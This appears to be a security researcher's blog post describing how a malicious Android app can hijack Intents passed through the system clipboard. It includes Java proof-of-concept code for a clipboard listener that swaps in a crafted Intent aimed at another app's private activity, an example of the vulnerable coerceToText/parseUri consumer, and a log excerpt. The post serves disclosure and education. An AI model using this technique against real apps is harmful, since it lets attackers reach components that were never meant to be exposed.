Abusing Android ClipData


Overview

This is going to be a quick and dirty post on some insecurities on using the Android's ClipBoardManager when making security critical decisions.

The Clipboard Framework

When you use Android's Clipboard Framework, you put data into a clip object, and then put that clip object on the system-wide clipboard. The clipboard holds only one clip object at a time. When an application puts a clip object on the clipboard, the previous clip object is removed. An application also does not need to request any special permission to read from or write to the clipboard.

coerceToText()

The ClipData.Item is a single item within ClipData that is returned from the manager. One of the more interesting public methods for operating on a ClipData.Item is coerceToText(). This method will return an ClipData.Item to text, regardless of its data type. This is interesting because of two distinct things:

It is possible to create ClipData that contains an Intent and place it on the global clipboard.

Within the internal mechanisms of coerceToText() is a call to getIntent(). If the Intent object within the ClipData.Item is not null, then then that data is converted into an Intent URI.

See where I am going with this yet?

Also, the ClipboardManager provides a listener that will alert you when the primaryClipData has changed i.e. when something new has been added.

Attacks Through ClipData

So let's say an application through some type of user interaction creates and adds new ClipData containing an Intent with a set component that is deemed "public" to the clipboard.

final ClipboardManager clipboardManager = (ClipboardManager)  
        getSystemService(Context.CLIPBOARD_SERVICE);        

Intent intent = new Intent(getApplicationContext(), PublicActivity.class);  
intent.setAction("android.intent.action.VIEW");  
intent.putExtra("ExtraString", "foobar");  

ClipData setClipData;  
setClipData = ClipData.newIntent("intent", intent);  
clipboardManager.setPrimaryClip(setClipData);        

A malicious application can setup a listener in order to be notified when new ClipData is added.

ClipboardManager.OnPrimaryClipChangedListener onPrimaryClipChangedListener = new ClipboardManager.OnPrimaryClipChangedListener() {  
    @Override                                                                                                                     
    public void onPrimaryClipChanged() {                                                                                          

        try {                                                                                                                     
            replaceClipData(clipboardManager);                                                                                    
        } catch (URISyntaxException e) {                                                                                          
            e.printStackTrace();                                                                                                  
        }                                                                                                                         

    }                                                                                                                             
};                                                                                                                                

Once the new ClipData is detected, it can simply be replaced by adding malicious ClipData with a new Intent object to the clipboard.

ClipData getClipData = clipboardManager.getPrimaryClip();  
ClipData.Item item;                                                                                                    = getClipData.getItemAt(0);  
                                                                                                                        Log.d("MaliciousApplication", item.toString());                                                                         

CharSequence charSequence = item.coerceToText(this.getApplicationContext());  
String intentURI = charSequence.toString();                                                                             

Log.d("MaliciousApplication", "Found Intent URI : " + intentURI + " : Replacing!");                                     

Intent intent = new Intent();  
intent.setComponent(new ComponentName("com.rotlogix.clipdatacapture", "com.rotlogix.clipdatacapture.PrivateActivity"));  
intent.setAction("android.intent.action.VIEW");                                                                         

Log.d("MaliciousApplication", intent.toString());                                                                       

ClipData setClipData;  
setClipData = ClipData.newIntent("intent", intent);  
clipboardManager.setPrimaryClip(setClipData);                                                                           

Now, because coerceToText() will return an Intent URI if the data found within the ClipData is an Intent, if an application wants to create an Intent from the URI, it must call parseUri() on the returned String, which is where the abuse comes in.

public void startActivityFromClipData(ClipboardManager clipboardManager) throws URISyntaxException {  

    ClipData getClipData = clipboardManager.getPrimaryClip();                                         
    ClipData.Item item;                                                                               
    item = getClipData.getItemAt(0);                                                                  
    String clipDataString = item.coerceToText(this.getApplicationContext()).toString();               
    Intent intent = Intent.parseUri(clipDataString, 0);                                               
    startActivity(intent);                                                                            
}                                                                                                     

This breaks down into the application invoking an implicit Intent without validating it before passing it to startActivity()

I/ActivityManager( 6422): START u0 {act=android.intent.action.VIEW cmp=com.rotlogix.clipdatacapture/.PrivateActivity} from pid 9040  

I have already covered in detail how to abuse insecure implementations of parseUri().

Conclusion

I've not witnessed this scenario in wild just yet, but it would be an interesting case study to see if this kind of flow exists:

  1. Create Intent
  2. Create ClipData with Intent
  3. setClipData() on clipboard
  4. replaceClipData() with malicious ClipData
  5. getClipData()
  6. coerceToText()
  7. parseUri()
  8. Invoke Intent
  9. Win?

Unfortunately, because the clipboard can only contain one object at a time, you can't just spray and pray a whole bunch of malicious clip objects and populate the clipboard and hope this kind of flow will just happen. However, like I have illustrated, you can setup a listener and potentially race to win every time new data is added that holds an Intent object you want to replace.